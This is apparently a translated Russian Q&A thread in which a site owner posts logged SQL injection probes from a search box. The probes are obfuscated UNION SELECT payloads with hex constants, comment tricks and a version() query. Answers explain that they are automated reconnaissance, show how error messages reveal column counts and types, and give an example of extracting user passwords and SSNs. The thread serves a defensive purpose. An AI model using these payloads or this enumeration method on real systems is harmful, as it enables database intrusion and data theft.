Назад | Перейти на главную страницу

Цель SQL-инъекции

Итак, у нас есть поле поиска на нашем веб-сайте, и я сохраняю все условия поиска в таблице базы данных.
Сегодня я поднял таблицу поисковых запросов и заметил несколько странных поисков, из которых совершенно ясно, что кто-то пытается возиться с нашей базой данных. Только сегодня было произведено более 200 поисков.

Они кажутся вариациями на тему:

999999.9) union all select 1 and (0=0
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 
999999.9 union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) 
999999.9 union all select 1 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39-- 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39-- 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39-- 
999999.9 union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21)-- 
999999.9 union all select 1-- 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and "0"="0 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0 
999999.9" union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and "0"="0 
999999.9" union all select 1 and "0"="0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and '0'='0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0 
999999.9' union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and '0'='0 
999999.9' union all select 1 and '0'='0 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and (0=0) 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0) 
999999.9) union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and (0=0) 
999999.9) union all select 1 and (0=0) 
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39
labor op99999' union select unhex(hex(version())) -- 'x'='x
labor op99999' union select unhex(hex(version())) -- 'x'='x

Наш поиск по сайту использует параметризованные запросы, и я попытался вставить несколько из них, поэтому я не думаю, что они что-то получают, но мне действительно любопытно, что они пытаются получить.

Мне действительно любопытно, что они пытаются получить.

Сначала ничего. Это просто зонды. Они просто пытаются увидеть, как ваш сервис дает неожиданный результат, который указывает на то, что он не может обработать ввод. Вероятно, здесь даже нет реального человека за клавиатурой; Скорее всего, это просто сценарий, пробующий различные возможности.

Однако, если какой-либо из зондов действительно удастся, характер атаки изменится, и вы начнете видеть попытки сделать что-то более вредоносное.

Я бы не стал этого ждать, даже если ты уверен, что этого не может быть. Проверьте свои журналы, чтобы узнать, откуда исходит атака, и, если возможно, заблокируйте этого пользователя или IP-адрес от доступа к вашей системе.

Отправка union all предложения одновременно исследуют уязвимость к инъекциям и структуру ваших запросов. Используя postgres (потому что это то, что у меня есть под рукой):

(unknown website query)    
/**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39

ERROR:  each UNION query must have the same number of columns
LINE 2: /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39
                                ^
********** Error **********

ERROR: each UNION query must have the same number of columns

Если ваш веб-сайт отправляет это сообщение об ошибке, я узнал, что 1) SQL-инъекция работает и 2) неизвестный запрос веб-сайта выбирает более одного столбца. Итак, теперь я пробую использовать два столбца, три столбца и так далее, пока не получу другое сообщение об ошибке, например:

ERROR:  UNION types text and integer cannot be matched
LINE 2: /**/aLl /**/sElEcT 0x393133363636353631352e39, 0

Теперь я знаю, что SQL-инъекция работает, и я также знаю, что col_1 или col_2 вашего запроса вернули текстовые данные. Скоро я обозначу точки, в которых возможна SQL-инъекция, количество возвращаемых столбцов и типы данных каждого столбца.

Затем я мог бы попробовать UNION из общих имен таблиц, таких как user в котором может храниться ценная информация:

(unknown website query)    
union all select user_id, password, ssn from user

Хакер также, похоже, проверяет, можно ли ввести синтаксис комментария: /**/ и --. Это полезно, потому что потенциально может использоваться для изменения ваших запросов, комментируя и заменяя их части.

Я предполагаю, что необычное использование заглавных букв упрощает хакеру автоматизацию процесса поиска уязвимостей путем поиска этой уникальной строки в ответе веб-сайта. Здесь происходит еще кое-что, и я не понимаю всего этого, но я надеюсь, что это дает общее представление о том, как проверяется ваш сайт.